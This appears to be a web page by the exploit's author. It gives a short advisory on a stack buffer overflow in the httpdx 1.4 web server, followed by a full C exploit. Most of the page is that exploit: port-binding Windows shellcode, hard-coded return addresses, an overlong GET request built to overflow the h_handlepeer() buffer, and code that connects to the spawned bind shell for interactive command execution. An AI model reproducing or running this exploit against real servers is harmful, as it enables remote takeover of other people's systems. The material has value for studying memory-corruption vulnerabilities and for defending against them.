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Pankaj Kohli

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httpdx is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by the h_handlepeer() function. By sending an overly long HTTP GET request, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash.

This exploit is also available as a metasploit moduleĀ here. Thanks to Trancer for porting it to Metasploit.

/*
 * httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day)
 *
 * Tested with httpdx 1.4 on Windows XP SP3
 *
 * Written and discovered by Pankaj Kohli
 * http://www.codepwn.com
 *
 * Greetz: str0ke
 *
 * httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests
 * such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
 * The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);
 *
 * pankaj@zion:~$ ./httpdxb0f 192.168.2.1 80
 *
 * ---------------------------------------------------------------------
 * [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day)
 * [*] Written and discovered by Pankaj Kohli <http://www.codepwn.com>
 * [*] Tested with httpdx 1.4 on Windows XP SP3
 *
 * [+] Creating payload
 * [+] Connecting to 192.168.2.1 on port 80
 * [+] Sending payload
 *
 * [+] Dropping to shell
 *
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Documents and Settings\pankaj\Desktop\httpdx1.4\root_example>
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
 Derived from shellcode written by silicon */
unsigned char bindcode[] =
"\x89\xE5"
"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
"\x6A\x01\x6A\x02\xB8"
"\x6A\x8B\xAB\x71" // WSASocketA()
"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5"
"\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
"\x80\x44\xAB\x71" // bind()
"\xFF\xD0\x6A\x01\x53\xB8"
"\xD3\x8C\xAB\x71" // listen()
"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
"\x40\x10\xAC\x71" // accept()
"\xFF\xD0\x8B\xD8\xBA"
"\x63\xD3\x81\x7C" // SetStdHandle()
"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
"\x6D\x64\x8D\x45\xFC\x50\xB8"
"\xC7\x93\xC2\x77" // system()
"\xFF\xD0"
"\x31\xC0\x50\xB8"
"\xFA\xCA\x81\x7C" // ExitProcess()
"\xFF\xD0";

/* ripped from TESO code */
void shell (int sock)
{
    int l;
    char buf[512];
    fd_set rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);

        select (sock + 1, &rfds, NULL, NULL, NULL);
        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                printf("\n - Connection closed by local user\n");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l == 0) {
                printf ("\n - Connection closed by remote host.\n");
                exit (EXIT_FAILURE);
            } else if (l < 0) {
                printf ("\n - Read failure\n");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

int main(int argc, char **argv)
{
    char buff[1100];
    long ret1 = 0x64f8134b; // pop ret (core.dll)
    long addr = 0x63b8624f; // Required to reach ret instruction
    long ret2 = 0x7c86467b; // jmp esp (kernel32.dll)
    long *ptr;
    struct sockaddr_in target;
    int i, port, sock;

    printf("\n---------------------------------------------------------------------\n");
    printf(" [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \n");
    printf(" [*] Written and discovered by Pankaj Kohli <http://www.codepwn.com> \n");
    printf(" [*] Tested with httpdx 1.4 on Windows XP SP3 \n\n");

    if(argc < 3)
    {
        printf("[-] Usage: %s <Target IP> <Port>\n\n", argv[0]);
        exit(1);
    }

    port = atoi(argv[2]);
    printf("[+] Creating payload \n");

    memset(buff, 0, 1024);
    strcpy(buff, "GET /abc=");
    memset(buff+9, 'A', 616);
    ptr = (long *) (buff + 625);
    *ptr = ret1;
    ptr++;
    *ptr = addr;
    ptr++;
    *ptr = ret2;
    ptr++;
    *ptr = 0;
    strcat(buff, bindcode);
    memset(buff+765, 'A', 244);
    buff[1009] = 0;
    strcat(buff, " HTTP/1.1\r\nHost: 192.168.2.1\r\n\r\n");

    printf("[+] Connecting to %s on port %s \n", argv[1], argv[2]);
    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(argv[1]);
    target.sin_port = htons(port);

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("[-] Socket \n");
        return(1);
    }

    if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
    {
        perror("[-] Connect \n");
        return(1);
    }

    printf("[+] Sending payload \n");
    if (send(sock, buff, strlen(buff), 0)== -1)
    {
        perror("[-] Send \n");
        return(1);
    }

    close(sock);
    sleep(1);

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(argv[1]);
    target.sin_port = htons(58821);

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("[-] Socket \n");
        return(1);
    }

    if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
    {
        printf("[-] Exploit failed. \n");
        return(1);
    }

    printf("\n[+] Dropping to shell \n\n");
    shell(sock);
    return 0;
}